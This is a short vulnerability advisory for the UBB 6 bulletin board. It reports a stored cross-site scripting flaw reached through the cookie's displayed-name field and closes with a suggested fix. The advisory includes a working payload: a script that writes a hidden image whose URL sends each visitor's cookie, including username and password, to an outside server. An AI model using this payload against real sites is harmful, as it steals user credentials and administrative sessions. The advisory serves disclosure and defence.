Application: UBB 6.(?) Platform: Any system supporting PERL. Severity: Malicious users can steal session cookies, allowing administrative access to the bulletin board. Also custom html/js insertion in forum page is possible. Author: antiacid [anti_acid@hotmail.com] Web: http://www.infopop.com/products/ubb/ Problem: The ubber cookie can be manually altered allowing to execute javascript in the forum overview page and (latest posts overview page) and steal cookies containing username, password and id. This is done by changing the [displayed name] attribute and post a new topic on the board in the following cookie: ubber[sessionid]=[username]&[password]&[displayed name]&[daysshown]& [userid] with the following code: username<script>document.write('<img src% 3D"http://someserver/savereq.php?'%2Bdocument.cookie%2B'" width%3D0 height%3D0>')</script> When posting a new topic on the forum that topic with your html/js is rendered in the forum overview page. The html/js in the [displayed name] gets a 0 width 0 height picture from a malicious server sending along the ubber cookie contents to the server containing username and password. fooling around with html/js in the [displayed name] attribute can cause other things like automatic js redirection to logout page, distorting forum and inserting custom html content. Fix. the [displayed name] attribute should be filtered for any html tags before rendering to page. Feedback. Please send suggestions, updates, and comments to: mail : anti_acid@hotmail.com
